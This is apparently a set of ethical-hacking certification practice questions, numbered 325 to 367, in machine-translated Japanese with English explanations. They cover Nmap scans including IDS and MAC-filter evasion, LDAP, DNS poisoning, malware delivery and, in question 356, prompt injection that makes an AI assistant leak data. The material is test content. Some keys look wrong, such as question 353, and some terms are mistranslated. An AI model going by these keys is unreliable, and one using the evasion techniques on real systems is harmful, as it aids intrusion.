A. リスクを0%にするために、より多くの管理策を導入する
B. リスクを避ける
C. リスクを軽減する
D. リスクを受け入れる
正解: **(**正解を表示します**)**
The remaining risk is 10%, which is below the established risk threshold of 20%. Since the residual risk is within acceptable limits, accepting the risk is the most appropriate business decision to avoid unnecessary costs and maintain project profitability.

質問: **325**
シアトルのパシフィック・トラスト銀行で侵入テストを実施中、倫理的ハッカーのミア・チェンは、顧客の取引データをホストしているサーバーがハニーポットである可能性を疑います。調査のため、彼女は細工したクエリを繰り返し送信し、システムの応答速度を観察します。すると、応答速度が他の本番サーバーよりも一貫して速く、均一であることが分かり、この環境が攻撃者を誘い込むように設計されているのではないかと疑念を抱きます。ミアは、サーバーがハニーポットかどうかを判断するために、どの手法を最も利用している可能性が高いでしょうか？

A. ランニングサービスの指紋認証
B. システム構成とメタデータの分析
C. MACアドレスの解析
D. 応答時間の分析
正解: **(**正解を表示します**)**
Mia is measuring how quickly the server responds to queries and comparing it to normal production systems. Unusually fast and uniform response times can indicate a honeypot, making response-time analysis the technique used.

質問: **326**
セグメント化された内部ネットワークで脆弱性評価を実施しています。nbtscanツールを使用して一連のIPアドレスをスキャンしたところ、複数のデバイスがNetBIOS名で応答しましたが、そのうち1つのデバイスのみが応答にエントリを含んでいました。これは、その特定のホストについて何を示しているのでしょうか？
A. これはドメインマスターブラウザーまたはプライマリドメインコントローラー(PDC)です。
B. 正規のホストになりすました不正なDHCPサーバーです。
C. TCP/IP 上の NetBIOS が無効になっているため、応答が制限されます。
D. スキャンが実行されているローカルシステムです。
正解: **A (**コメントを発表する**)**
The presence of the special NetBIOS entry indicates that the host is acting as the domain master browser or Primary Domain Controller, which maintains and announces domain-wide browse information and therefore uniquely advertises this role during NetBIOS enumeration.

質問: **327**
倫理的なハッカーが、内部システムへの侵入の可能性を強く疑っている大規模組織の包括的なネットワークスキャンを実施するよう依頼されました。ハッカーは、ネットワークの詳細な状況を把握するために、複数のスキャンツールを組み合わせて使用することにしました。ネットワークの状態について最も包括的な情報を得るには、どの手順を実行すればよいでしょうか？
A. Nmapでpingスキャンを開始し、次にMetasploitを使用して開いているポートとサービスをスキャンし、最後にHping3を使用してリモートOSフィンガープリンティングを実行します。
B. NetScanTools Pro を使用して一般的なネットワーク スキャンを開始し、次に Nmap を使用して OS 検出とバージョン検出を行い、最後に Hping3 を使用して SYN フラッディングを実行します。
C. まずHping3を使用してランダムなポートでUDPスキャンを実行し、次にNmapを使用してバージョン検出スキャンを実行し、最後にMetasploitを使用して検出された脆弱性を悪用します。
D. Hping3 を使用してサブネット全体に ICMP ping スキャンを実行し、次に Nmap を使用して特定されたアクティブなホストに対して SYN スキャンを実行し、最後に Metasploit を使用して特定された脆弱性を悪用します。
正解: **(**正解を表示します**)**

質問: **328**

サンフランシスコのテクノロジーコンサルティング会社で行われたレッドチーム演習中、アナリストのエブリンは、ソフトウェアアップデートインストーラーに偽装した悪意のあるペイロードを展開しました。ターゲットがインストーラーを実行すると、メインアプリケーションは正常に動作しますが、裏では、ユーザーに知られることなく追加のマルウェアコンポーネントがシステムに密かに配置されます。これらの隠されたコンポーネントは、後に起動してレッドチームのリモートアクセスを確立します。隠されたマルウェアを配信するために最も可能性の高い手法はどれでしょうか？
A. スポイト
B. ダウンローダー
C. ラッパー
D. インジェクター
正解: **(**正解を表示します**)**
Packaging the malicious payload within a legitimate software installer so that the application appears normal while hidden components are installed is characteristic of a wrapper, which conceals malware within trusted software.

質問: **329**
大規模な企業ネットワークのブラックボックスセキュリティ評価中に、侵入テスト担当者が内部環境をスキャンし、ドメインコントローラー上でTCPポート389が開いていることを特定した。
さらに調査を進めた結果、テスターは認証情報を一切入力せずにldapsearchユーティリティを実行し、LDAPディレクトリからユーザー名、メールアドレス、所属部署の一覧を正常に取得することに成功した。テスターは、この機密情報がアクセス制御メカニズムを作動させることなく、またログイン認証情報も必要とせずに漏洩したことを指摘した。
この挙動に基づくと、どのようなLDAPアクセス機構が悪用されている可能性が最も高いでしょうか？
A. RADIUSリレー経由のLDAP
B. 匿名LDAPバインディング
C. Kerberos認証によるLDAP認証
D. SSL経由のLDAP(LDAPS)
正解: **B (**コメントを発表する**)**
Retrieving directory information without providing credentials indicates that the LDAP service allows anonymous binding. Anonymous LDAP binding permits unauthenticated users to query directory data, which can expose sensitive information if not properly restricted.

質問: **330**
プロのハッカーであるジムは、重要な産業インフラを運用している組織を標的にしました。ジムはNmapを使用して、組織のOTネットワークに接続されているシステムの開いているポートと実行中のサービスをスキャンしました。彼はNmapコマンドを使用してインターネットに接続されているEthernet/IPデバイスを特定し、ベンダー名、製品コードと製品名、デバイス名、IPアドレスなどの情報を収集しました。ジムが必要な情報を取得するのに役立ったNmapコマンドは次のうちどれですか？
A. nmap -Pn -sT --scan-delay 1s --max-parallelism 1 -p <ポートリスト> <ターゲットIP>
B. nmap -Pn -sT -p 102 --script s7-info <ターゲットIP>

C. nmap -Pn -sU -p 44818 --script enip-info <ターゲットIP>
D. nmap -Pn -sT -p 46824 <ターゲットIP>
正解: **C** (コメントを発表する)

質問: **331**
イーサネットスイッチのコンテンツアドレス可能メモリ(CAM)テーブルをオーバーフローさせようとする攻撃の種類はどれですか？
A. 邪悪な双子の攻撃
B. DDoS攻撃
C. MACフラッディング
D. DNSキャッシュフラッディング
正解: **C** (コメントを発表する)

質問: **332**
暗号化の専門家であるケビンは、暗号化と認証に使用される鍵のセキュリティを強化する技術を実装しました。この技術を用いて、ケビンは初期鍵をアルゴリズムに入力し、総当たり攻撃に強い強化された鍵を生成しました。ケビンが暗号化鍵のセキュリティを向上させるために用いた技術とは何でしょうか？
A. キーの再インストール
B. 公開鍵基盤
C. キー導出関数
D. キーストレッチ
正解: **D** (コメントを発表する)

質問: **333**
あなたは大手IT企業のセキュリティアナリストであり、組織のセキュリティ体制の維持を担当しています。現在、ネットワークの脆弱性評価ツールを複数評価中です。貴社のネットワークはオンプレミスとクラウドの資産が混在するハイブリッドIT環境であるため、包括的なカバレッジと可視性、継続的なスキャン機能、そして予期せぬ変更が侵害につながる前に監視できる能力を考慮すると、どのツールが最も適切でしょうか？
A. GFI Lancuard
B. Nessus Professional
C. Qualys脆弱性管理
D. オープンVAS

正解: (正解を表示します)

質問: **334**
横方向の動きとは何ですか？
A. データ漏洩
B. ピボット
C. 特権の拡大
D. ネットワークトラバーサル
正解: (正解を表示します)
Lateral movement refers to an attacker moving from one compromised system to other systems within the network, which is commonly known as pivoting.

質問: **335**
サイバーセキュリティコンサルタントとして、あなたは小規模なスタートアップ企業の情報セキュリティ意識向上を支援しています。社内監査中に、従業員が会社の駐車場で「従業員給与情報 2024」とラベルの貼られたUSBドライブを発見したと報告しました。好奇心から、その従業員はそれをオフィスのコンピューターに接続したところ、システムが異常な動作をし始めました。このシナリオは、どのようなソーシャルエンジニアリング攻撃に該当するでしょうか？
A. 上級職員になりすましてログイン認証情報を取得する。
B. 好奇心を利用して、被害者を悪意のあるデバイスに関与させるように誘惑する。
C. 廃棄された文書を利用して機密性の高い企業情報を取得する。
D. 許可された従業員に密着して物理的なセキュリティを回避しようとする。
正解: (正解を表示します)
This scenario exploits human curiosity by planting a malicious USB device with an enticing label, tricking the victim into plugging it in, which is a classic baiting social engineering technique.

質問: **336**
ポートが閉じている場合、NULLスキャンに対する適切な応答は何ですか？
A. 応答なし
B. 最終
C. RST
D. SYN
E. 承認
F. PSH
正解: (正解を表示します)
In a NULL scan, a closed TCP port responds with an RST packet according to TCP standards, indicating that the port is not open.

質問: **337**

認定倫理的ハッカー(CEH)がターゲットネットワークを分析しています。そのために、Nmapを使用してIDLE/IPIDヘッダースキャンを実行することにしました。ネットワーク分析の結果、IDLEスキャンを実行した後にIPID番号が2増加していることがわかりました。この情報に基づいて、CEHはターゲットネットワークについてどのような結論を導き出すことができるでしょうか？
A. 対象ネットワークにはファイアウォールが存在しません
B. 対象ネットワークのポートが開いています
C. 対象ネットワークにステートフルファイアウォールが存在する
D. 対象ネットワーク上のポートが閉じられています
正解: **(**正解を表示します**)**

質問: **338**
侵入テスト担当者は、ネットワークトラフィックを発生させることなく、Linuxホスト上でリッスンしているサービスを特定したいと考えています。テスト担当者は既にシステムへの正規のシェルアクセス権限を取得しています。最も適切なアプローチはどれでしょうか？
A. localhostに対してNmapを実行します。
B. ネイティブのオペレーティングシステムユーティリティを使用してローカルソケット情報を確認します。
C. すべてのローカルポートにTCP SYNパケットを送信します。
D. モニターモードで無線トラフィックをキャプチャします。
正解: **B (**コメントを発表する**)**
Once local access has been obtained, operating system utilities such as ss or netstat provide accurate information about listening services without producing unnecessary network traffic.
Local enumeration is more efficient than network scanning and avoids generating traffic that monitoring systems could detect.

質問: **339**
カリフォルニア州サンディエゴに拠点を置く小売ブランドが、サードパーティ製アプリケーションの配信チャネルに関連するリスクを評価するため、管理されたモバイルセキュリティ演習を実施した。テスト担当者は、海外の顧客が頻繁に利用する非公式マーケットプレイスから、同社の顧客向け特典アプリケーションの非公式バージョンを入手した。このアプリケーションの視覚的なレイアウトと機能は、主要なアプリストアで入手可能な公式リリース版と区別がつかなかった。
サンドボックス環境で実施した動作監視により、アプリケーションが通常の動作に加えて、ドキュメントに記載されている機能とは無関係な外部接続を開始していることが明らかになった。ベンダー提供のビルドとのバイナリ比較により、2つのバージョン間に構造的な違いがあることが確認された。このシナリオは、モバイルベースのソーシャルエンジニアリング手法のうち、どれを最も正確に表していると言えるだろうか？
A. 保護ツールを装った偽のセキュリティアプリケーションの展開
B. 信頼できるブランドを模倣した悪質なアプリを公開する
C. 内部構造を変更した後、正規アプリを再パッケージ化する
D. 不正なテキストメッセージによるスミッシング攻撃の実施
正解: **(**正解を表示します**)**

The application is a modified version of the legitimate app, with structural differences and added malicious behavior while retaining original appearance and functionality. This indicates repackaging, where attackers alter a genuine app and redistribute it through unofficial channels.

質問: **340**
あるテクノロジー企業向けにネットワーク脆弱性評価戦略を実施する過程で、セキュリティアナリストは次のようなシナリオに直面する。
1) ネットワーク上で、もはや機能しないレガシーアプリケーションが発見されました
ベンダーからアップデート情報を受け取ります。
2) ネットワーク内の複数のシステムで、古いバージョンが稼働していることが判明した。
分散型攻撃を受けやすいウェブブラウザ。
3) ネットワークファイアウォールはデフォルト設定を使用して構成されており、
パスワード。
4) 組織で使用されている特定の TCP/IP プロトコルは本質的に
不安だ。
セキュリティアナリストは脆弱性スキャンソフトウェアを使用することにした。この場合、アナリストは脆弱性評価における以下のどの制限事項に最も注意すべきか？
A. 脆弱性スキャンソフトウェアは、Webアプリケーションに対してライブテストを実行してエラーや予期しない動作を検出する能力に限界がある。
B. 脆弱性スキャンソフトウェアは、特定の時点における脆弱性の検出能力に限界がある。
C. 脆弱性スキャンソフトウェアは、深刻な脆弱性を見逃す可能性のあるソフトウェアエンジニアリング上の欠陥から完全に免れることはできません。
D. 脆弱性スキャンソフトウェアでは、特定された脆弱性がさまざまな業務に与える影響を定義することはできません。
正解: **(**正解を表示します**)**

質問: **341**
ヘザーの会社は、新しい顧客関係管理ツールを導入することにしました。適切な調査を行った結果、クラウドホスティング型のソリューションのサブスクリプションを購入することにしました。ヘザーが行う必要がある管理業務は、ユーザーアカウントの管理のみです。ハードウェア、オペレーティングシステム、ソフトウェアの管理(パッチ適用や監視を含む)はプロバイダーが担当します。このタイプのソリューションは次のうちどれでしょうか？
A. SaaS
B. CaaS
C. PaaS
D. IaaS
正解: **(**正解を表示します**)**

質問: **342**

XYZ社のサイバーセキュリティ専門家であるあなたは、システムログに異常が見られ、不正アクセスの可能性を示唆しているとして調査を依頼されました。システム管理者は、重要なサーバーへのログイン試行が繰り返し失敗し、その後、送信データトラフィックが急増したことを検出しました。これらの事象は個別のものですが、システムが侵害された可能性が懸念されています。この潜在的なセキュリティ侵害は重大なリスクを伴い、高度な性質を持つため、この状況を効果的に管理するために、最初にとるべき行動は何でしょうか？
A. サーバーの認証情報を直ちに変更し、すべてのユーザーにパスワードの変更を通知してください。
B. 疑わしいサーバーを直ちにネットワークから切断し、さらなるデータ漏洩を防いでください。
C. サーバーのリアルタイム監視を実施し、ログを精査して異常なパターンを探し、活動の性質を特定して即座に対策を講じる。
D. すべての送信トラフィックを徹底的に監査し、宛先IPを精査して、攻撃者のネットワークに関する洞察を得ます。
正解: **(**正解を表示します**)**
Real-time monitoring and log analysis allow you to understand the scope, method, and intent of the suspected compromise while preserving evidence. This enables informed containment and response actions without prematurely disrupting systems or destroying forensic data.

質問: **343**
コロラド州デンバーにある金融本社で、倫理的ハッカーのジョーダン・リーは、IoTデバイスのカタログ作成にとどまらず、脆弱性のテストを開始しました。彼はスマート照明システムや空調システムに対して専用ツールを実行し、ファームウェアの古さ、デフォルトパスワード、開いているサービスポートなどをチェックします。ジョーダンはIoTハッキング手法のどのステップを実行しているのでしょうか？
A. リモートアクセスを取得する
B. 情報収集
C. 攻撃を開始する
D. 脆弱性スキャン
正解: **(**正解を表示します**)**
Checking devices for outdated firmware, default credentials, and open ports involves systematically identifying weaknesses, which corresponds to the vulnerability scanning step in the IoT hacking methodology.

質問: **344**
カリフォルニア州サンノゼにあるスマートホーム製品メーカーに対する正式なセキュリティ評価において、認定を受けた倫理的ハッカーが、接続されたIoTカメラや照明コントローラーの設定に使用されるウェブベースの管理インターフェースを評価した。
テスターは、内部ユーザーが特別に細工された外部ウェブサイトにアクセスすると、ブラウザがユーザーのプライベートネットワーク内のローカルホスト型デバイス管理インターフェースへのリクエストを自動的に開始することを発見した。
この挙動を最もよく説明できる攻撃手法はどれですか？
A. 偽造悪意のあるデバイス攻撃
B. SDRベースの攻撃
C. DNSリバインディング攻撃

D. 分散型サービス拒否(DDoS)攻撃
正解: **(**正解を表示します**)**
The behavior describes a browser on an internal network being tricked into sending requests to a local device management interface after visiting a malicious external website. This is characteristic of DNS rebinding, where DNS responses are manipulated to bypass same-origin restrictions and redirect browser requests to internal IP addresses.

質問: **345**
クラウドアーキテクトのアベルは、コンテナ技術を使用して、ライブラリや構成ファイル、バイナリ、クラウド環境内の他のプロセスとは独立して実行されるその他のリソースなど、すべての依存関係を含むアプリケーション/ソフトウェアをデプロイします。アプリケーションのコンテナ化には、5層コンテナ技術アーキテクチャに従っています。現在、アベルはイメージコンテンツの検証と妥当性確認、イメージへの署名、レジストリへの送信を行っています。アベルが現在作業しているコンテナ技術アーキテクチャの層は次のうちどれでしょうか？
A. ティア1：開発者向けマシン
B. ティア3：登録
C. ティア2：試験および認定システム
D. ティア4 :オーケストレーター
正解: **(**正解を表示します**)**

質問: **346**
サンフランシスコに拠点を置く金融会社に勤める倫理ハッカーのサラは、最近発生したデータ漏洩事件を受け、顧客データベースのセキュリティをテストしています。彼女の分析により、機密性の高い顧客情報は対称暗号化アルゴリズムによって保護されていることが明らかになりました。サラは、このアルゴリズムが64ビットブロックでデータを処理し、32ビットから448ビットまでの可変長の鍵サイズをサポートしていることに気付きました。侵入テスト中に、サラは暗号文の通信を傍受し、この暗号化が古いアルゴリズムであるDESの代替として開発されたことに気付きました。サラは、このアルゴリズムの柔軟な鍵サイズがブルートフォース攻撃の影響を受けやすいかどうかを判断しようとしています。このアルゴリズムは、企業のデータ保護にとって重要な用途であるセキュアストレージにも使用されていることで知られています。
サラは、会社で使用されている対称暗号化アルゴリズムとしてどのアルゴリズムを特定する必要がありますか?
A. RC4
B. ツーフィッシュ
C. AES
D. フグ
正解: **(**正解を表示します**)**
The algorithm described uses 64-bit block size and supports variable key lengths from 32 to 448 bits, and it was designed as a replacement for DES. These characteristics match Blowfish, which is known for its flexible key size and use in secure data storage.

質問: **347**
サイバーキルチェーン理論モデルのどの段階でデータ漏洩が発生するのか？
A. 兵器化
B. 目標達成に向けた行動
C. 指揮統制
D. インストール
正解: **(**正解を表示します**)**

質問: **348**
コロラド州デンバーにあるスマートサーモスタットメーカーに対する正式なセキュリティ評価の過程で、認定を受けた倫理的ハッカーが、さらなる評価のために、製造中のデバイスから抽出されたファームウェアイメージを受け取った。
テスターはまずバイナリファイルを調べて、そのフォーマットとアーキテクチャを特定します。より詳細な分析に進む前に、イメージに対して基本的な検査コマンドを実行し、埋め込まれた人間が読めるコンテンツを確認し、低レベルのバイナリ構造を観察します。
ファームウェア解析ワークフローにおいて、テスターはどの段階を実行しているのでしょうか？
A. ファイルシステムを抽出します
B. ファームウェアを入手する
C. ファームウェアの解析
D. ファームウェアのエミュレーション
正解: **(**正解を表示します**)**
The tester is inspecting the firmware image using analysis commands to identify its structure, format, and embedded content. This corresponds to the firmware analysis stage, where the extracted firmware is examined at a low level to understand its composition before deeper actions like extraction or emulation are performed.

質問: **349**
攻撃者はSMBv1を悪用してマルウェアをホスト間で拡散させます。これはどのような攻撃行動でしょうか？
A. ミミズのような繁殖
B. フィッシング
C. クレデンシャルスタッフィング
D. DoS

正解: **A** (コメントを発表する)
Worm-like propagation occurs when malware automatically spreads from one host to another across a network by exploiting vulnerabilities such as SMBv1, without requiring user interaction.

質問: **350**
テキサス州ダラスで侵入テストを実施中、倫理的ハッカーのジェイソンは、ネットワークファイアウォールによって適用されるMACアドレスベースのフィルタリングルールを回避しようとしています。10.10.1.11の内部ホストをスキャンする際に、実際のMACアドレスがログに記録されるのを避け、ステルス性を高めるため、彼はMACアドレスをランダム化することにしました。彼が使用すべきNmapコマンドは次のうちどれでしょうか？
A. nmap -sT -Pn --spoof-mac Dell 10.10.1.11
B. nmap -sT - Pn --spoof-mac 00:01:02:25:56:AE 10.10.1.11
C. nmap -sT - Pn 10.10.1.11
D. nmap -sT -Pn --spoof-mac 0 10.10.1.11
正解: **D** (コメントを発表する)
Using the option to spoof the MAC address with a value of 0 instructs the tool to generate a random MAC address for each scan. This achieves the goal of avoiding the use of the real hardware address and enhances stealth during the scan.

質問: **351**
あなたはVanguard Cyber Defenseの倫理ハッカーです。テキサス州ヒューストンの貨物管理会社Sunrise Logisticsに雇用され、同社の貨物追跡ポータルのセキュリティ評価を担当しています。業務中、アプリケーションがユーザーから送信されたデータをどのように処理するかを分析します。貨物検索機能の動作を観察し、サーバーに送信されるHTTP GETリクエストを監視します。あなたの目標は、ユーザー入力がバックエンドシステムによってどのように処理され、それらのパラメータがSQLクエリの操作に利用される可能性があるかどうかを判断することです。この活動に基づき、SQLインジェクション手法のどのステップを実行しているのでしょうか？
A. 高度なSQLインジェクション
B. SQLインジェクション攻撃の開始
C. データベース列挙
D. データ入力パスの識別
正解: (正解を表示します)
The activity focuses on analyzing how user input is submitted through parameters and how it is handled by the backend. This corresponds to identifying data entry points where input can be injected, which is the initial step in SQL injection methodology.

質問: **352**
大規模な医療機関のサイバーセキュリティチームは、内部セキュリティ監査中に、社内ネットワーク上のDNS解決動作に異常なパターンを検出しました。複数の従業員が、正規の社内および社外ウェブサイトにアクセスしようとすると、わずかに変更されたログインページにリダイレクトされると報告しています。さらに詳しく

調査したところ、セキュリティログから、DNS応答が正規のDNSサーバーではない社内IPアドレスから返されていることが判明しました。これらの不正な応答は、企業DNSサーバーからの正規の応答よりも常に高速でした。ほぼ同時期に、ネットワーク監視ツールは、特定のサブネットから発生したARPスプーフィングアラートの急増を記録しました。組織は、機密性の高いログイン認証情報や個人の健康データが内部関係者によって傍受された可能性があると懸念しています。このような状況において、どのような種類のスニッフィングベースの攻撃が実行されている可能性が最も高いでしょうか？
A. リモートトンネル経由のプロキシベースのDNSリダイレクト
B. 上流のDNSリゾルバからのDNSキャッシュポイズニング
C. ローカルの偽装応答によるイントラネットDNSポイズニング
D. プライマリDNS設定の変更によるインターネットDNSスプーフィング
正解: **C** (コメントを発表する)
An attacker on the internal network is spoofing ARP to position themselves as a man-in-the- middle and responding to DNS queries faster than the legitimate DNS server, poisoning name resolution locally and redirecting users to malicious look-alike sites to capture credentials.

質問: **353**
ある多国籍企業が最近、深刻な情報セキュリティ侵害に見舞われた。
調査の結果、攻撃者は組織の内部プロセスとシステムについて高度な知識を有していたことが判明しました。この知識は、セキュリティ制御を回避し、貴重なリソースを侵害するために悪用されました。この事態を受け、セキュリティチームは発生した攻撃の種類と、それを防ぐために講じることができた対策について検討しています。最も可能性の高い攻撃の種類と、組織が採用できたであろう対策を選択してください。
A. 配布攻撃であり、組織はソフトウェアとハードウェアの整合性チェックを確実に実施できたはずです。
B. 受動攻撃であり、組織は暗号化技術を使用すべきだった。
C. 積極的な攻撃であり、組織はネットワークトラフィック分析を利用した可能性がある。
D. 内部犯行や組織は、強固なアクセス制御と監視を実施すべきである。
正解: **B** (コメントを発表する)

質問: **354**
大手金融機関が、オンラインバンキングサービスを標的とした継続的なサービス拒否(DoS)攻撃を受けており、顧客取引に重大な支障が生じ、金融機関への信頼が損なわれている。セキュリティチームは、バンキングサービスへのアクセスを途切れさせないために、攻撃者が用いる高度な戦術を特定し、軽減するという大きなプレッシャーにさらされている。上記の状況を考慮すると、シナリオベースの攻撃に類似した高度なサービス拒否(DoS)攻撃手法のうち、セキュリティチームが効果的に検知 軽減することが最も困難であり、オンラインバンキングサービスの可用性を危うくする可能性のあるものはどれか。
A. 同期型レイヤー3スマーフ攻撃により、当該機関のインターネット接続ルーターを標的とし、ICMPエコー要求をインターフェースに大量に送り込んで帯域幅を枯渇させ、ネットワーク接続を妨害する。
B. 組織のDNSインフラストラクチャの脆弱性を悪用した協調的なUDPフラッド攻撃で、権威DNSサーバーに大量の攻撃を仕掛け、ドメイン解決サービスを妨害する。
C. 金融機関のオンラインバンキングデータベースサーバーを標的とした分散型SQLインジェクション攻撃により、リソース枯渇とデータベースのダウンタイムが発生しました。

D. 機関のウェブサーバーソフトウェアを標的としたゼロデイ攻撃。リモートコード実行によりバッファオーバーフローとサービス停止を引き起こす。
正解: **(**正解を表示します**)**
A zero-day exploit targets an unknown vulnerability for which no signatures or patches exist, allowing attackers to trigger service unavailability through remote code execution while bypassing traditional detection and mitigation controls, making it exceptionally difficult to identify and stop quickly.

質問: **355**
ジョージア州アトランタにあるデジタルマーケティング会社で、従業員から、広く利用されているクラウドコラボレーションポータルへのアクセスが、見慣れないIPアドレスでホストされている偽のインターフェースに断続的にリダイレクトされるという報告が寄せられました。セキュリティエンジニアは、複数の部署の複数のユーザーが正規のドメインにアクセスしようとした際に、常に同じ誤ったIPアドレス解決結果が返されることを確認しました。この異常な動作はセッション間で継続し、組織の名前解決サービスを再起動するまで多数の社内クライアントに影響を与え、その後、正常な名前解決が再開されました。この状況を最もよく説明できるDNS操作手法はどれでしょうか？
A. DNSキャッシュポイズニングによる悪意のあるレコードの注入
B. リモートネットワークからインターネットDNSスプーフィングを実行する
C. プロキシサーバーのDNSポイズニングを実行して名前解決パスを変更する
D. ローカルネットワーク内でイントラネットDNSスプーフィングを実行する
正解: **(**正解を表示します**)**
Multiple users receive the same incorrect IP due to corrupted cached DNS records, and normal resolution resumes after restarting the DNS service. This behavior is characteristic of DNS cache poisoning, where malicious records are injected into the resolver's cache and served to clients.

質問: **356**
セキュリティチームは、機密性の高い企業文書を用いて質問に答えることができる社内AIアシスタントを評価している。評価の結果、綿密に作成された質問文によって、アシスタントがユーザーの権限レベルを超える情報を漏洩してしまう場合があることが判明した。
この挙動を最もよく表すセキュリティ上の懸念事項はどれですか？
A. 不正な情報開示につながる即時注入
B. ARPスプーフィング
C. DHCP飢餓
D. TCPフラグメンテーション
正解: **(**正解を表示します**)**
Prompt injection occurs when specially constructed inputs influence an AI system to ignore intended safeguards or reveal information beyond a user's authorized access. Organizations should combine prompt hardening with robust authorization checks, retrieval filtering, output validation, monitoring, and human oversight to reduce the likelihood and impact of unauthorized disclosure.

質問: **357**

倫理的なハッカーは、ログに記録されたり疑念を招いたりするような直接的なやり取りを一切行わずに、企業の内部ネットワークに関する詳細な情報を収集する必要があります。この情報を秘密裏に入手するには、どのような方法を用いるべきでしょうか？
A. ネットワークスキャンツールを使用して、会社のIPアドレス範囲をマッピングします。
B. 公開されているWHOISレコードを調べて、隠されたネットワークデータを探す
C. 会社との過去のやり取りのメールヘッダーを調べる
D. 企業のSSL証明書を分析して内部の詳細を把握する
正解: **C** (コメントを発表する)
Email headers often contain routing information such as internal mail server hostnames, IP addressing schemes, and infrastructure details. Analyzing previously received emails is entirely passive, does not interact with the target's systems, and can reveal valuable insights into the internal network without generating logs or alerts.

質問: **358**
アンドリューは倫理的ハッカーであり、特定のターゲットネットワーク内のIPv4範囲において、制限的なファイアウォールによって隠されているすべてのアクティブなデバイスを検出するという任務を与えられた。この任務を遂行するために、彼は以下のどのホスト検出手法を使用すべきか？
A. ARPピングスキャン
B. TCPマイモンスキャン
C. UDPスキャン
D. ACKフラグプローブスキャン
正解: **D** (コメントを発表する)

質問: **359**
ACKスキャンは主に何を特定するのですか？
A. サービス
B. ファイアウォールルール
C. ポートを閉じる
D. ポートを開く
正解: **B** (コメントを発表する)
An ACK scan is primarily used to determine whether ports are filtered or unfiltered by a firewall. It helps identify firewall rules and packet-filtering behavior rather than directly determining whether ports are open or closed.

質問: **360**
メリーランド州の公立医療機関のデータセンターで、コンプライアンス遵守を目的としたセキュリティ評価を実施していた際、上級侵入テスト担当者のジェイソンは、環境内で依然として稼働している複数の旧式ネットワーク機器に関する、時代遅れの資産管理文書を整理するよう依頼された。内部記録には、規制報告に必要な正確な機器識別子、管理者の連絡先情報、およびインターフェースレベルの統計情報が欠落していた。

予備テストの結果、これらのデバイスは数年前に設定された読み取り専用の認証情報を通じて、依然として管理情報を公開していることが判明した。ジェイソンは、各デバイスに手動でログインしたり、トラフィックをパッシブに監視したりするのではなく、コマンドライン方式を採用することにした。この方式では、各システムの公開されている管理オブジェクトツリーを体系的に走査し、出力全体をファイルにリダイレクトして自動処理を行う。
この要件に合致するツールを特定してください。
A. SoftPerfect Network Scanner
B. Wireshark
C. Nmap
D. SnmpWalk
正解: **D** (コメントを発表する)
SNMPWalk is used to query and traverse the management information base (MIB) of network devices using SNMP read-only credentials. It systematically enumerates management objects and outputs structured device information, making it suitable for extracting interface details, identifiers, and configuration data into a file for later analysis.

質問: **361**
攻撃者は、Wi-Fi Pineappleを使用して、近隣の企業の正規のSSIDに見せかけたアクセスポイントを稼働させ、無線パスワードを盗み取ろうとします。これはどのような種類の攻撃でしょうか？
A. MACアドレス偽装攻撃
B. フィッシング攻撃
C. 邪悪な双子の攻撃
D. 戦争推進攻撃
正解: (正解を表示します)

質問: **362**
シカゴのウィンディ・シティ・エンタープライズ社で行われた侵入テストで、倫理的ハッカーのミア・トーレスは同社の公開サイトを標的にしました。ウェブサーバーの未修正の脆弱性を悪用することで、ホームページの表示内容を改ざんし、不正なメッセージに置き換えることに成功しました。ミアはITチームに対し、このような攻撃は機密データが直接盗まれなくても、会社の評判を損ない、顧客の信頼を低下させる可能性があると説明しました。ミアが実証したウェブサーバー攻撃の種類はどれでしょうか？
A. フロントジャッキング

B. ファイルアップロードの悪用
C. ウェブサイトの改ざん
D. DNSハイジャック
正解: **(**正解を表示します**)**
Altering visible content on the website without authorization, such as replacing the homepage with unauthorized messages, constitutes website defacement, which can harm reputation even without data theft.

質問: **363**
ウェブアプリケーションのセキュリティ監査を実施中に、倫理的ハッカーが潜在的な脆弱性を発見しました。このアプリケーションは、論理的に誤ったクエリに対して、基盤となるデータベースの構造を明らかにする詳細なエラーメッセージで応答します。倫理的ハッカーはこの脆弱性をさらに悪用することにしました。倫理的ハッカーはどのような種類のSQLインジェクション攻撃を使用する可能性が高いでしょうか？
A. エラーベースのSQLインジェクション
B. インバンドSQLインジェクション
C. UNION SQLインジェクション
D. ブラインド/推論型SQLインジェクション
正解: **A (**コメントを発表する**)**

質問: **364**
システムによっては、/tmp ディレクトリからの実行が許可される場合があります。どのようなリスクが存在するでしょうか？
A. マルウェアの実行
B. SQLインジェクション
C. XSS
D. DoS
正解: **A (**コメントを発表する**)**
Allowing execution from the /tmp directory enables attackers to run malicious scripts or binaries from a writable temporary location, increasing the risk of malware execution.

質問: **365**
ソフトウェアエンジニアのハーパーは、電子メールアプリケーションを開発しています。電子メールメッセージの機密性を確保するため、ハーパーは、ブロックサイズが64ビットの古典的な12ラウンドまたは16ラウンドのファイステルネットワークを持つ対称鍵ブロック暗号を使用しています。この暗号は、ベント関数、モジュラ加算と減算、鍵依存回転、およびXOR演算に基づく大きな8×32ビットのSボックス(S1、S2、S3、S4)を含んでいます。この暗号は、その機能を実行するためにマスキング鍵(Km1)と回転鍵(Kr1)も使用します。ハーパーが電子メールメッセージを保護するために使用しているアルゴリズムは何ですか？
A. キャスト-128
B. DES
C. GOSTブロック暗号
D. AES

正解: (正解を表示します)

質問: **366**
XYZファイナンシャルサービス社のレッドチーム作戦中、セキュリティアナリストのリリー・ジェンセンは、IDSで保護された重要なサブネットのスキャンを任されました。彼女の最初のスキャンは即座にフラグが付けられ、ブロックされました。偵察活動を継続しながら検出を回避するため、彼女はスキャン設定を調整し、自身のIPアドレスに加えて複数の偽装IPアドレスを追加しました。これにより、ネットワーク防御側は彼女の実際のスキャン活動を特定しにくくなり、正確な結果を受け取ることができます。
リリーはどのスキャン技術を使用していますか?
A. SYN FINスキャン
B. ソースルーティング
C. IPスプーフィング
D. デコイスキャン
正解: (正解を表示します)
Lily uses multiple fake sources in addition to her own IP to mask the origin of the scan, making it harder for the IDS to identify the true attacker while still obtaining scan results. This approach is characteristic of decoy scanning, which leverages decoy IP addresses to evade detection.

質問: **367**
組織は侵入検知システム(IDS)とファイアウォールを導入しているにもかかわらず、侵入の試みを受けています。認定倫理的ハッカーであるあなたは、侵入検知プロセスを強化し、より優れたルールベースのアプローチを提案するよう依頼されました。IDSはSnortルールを使用しており、新たに提案するツールはそれを補完できるものでなければなりません。あなたはYARAルールとルール生成のための追加ツールを使用することを提案します。この目的に最適なツールは次のうちどれでしょうか？また、その理由は？
A. AutoYara - 悪意のあるファイルと良性のファイルからYARAルールの生成を自動化するため
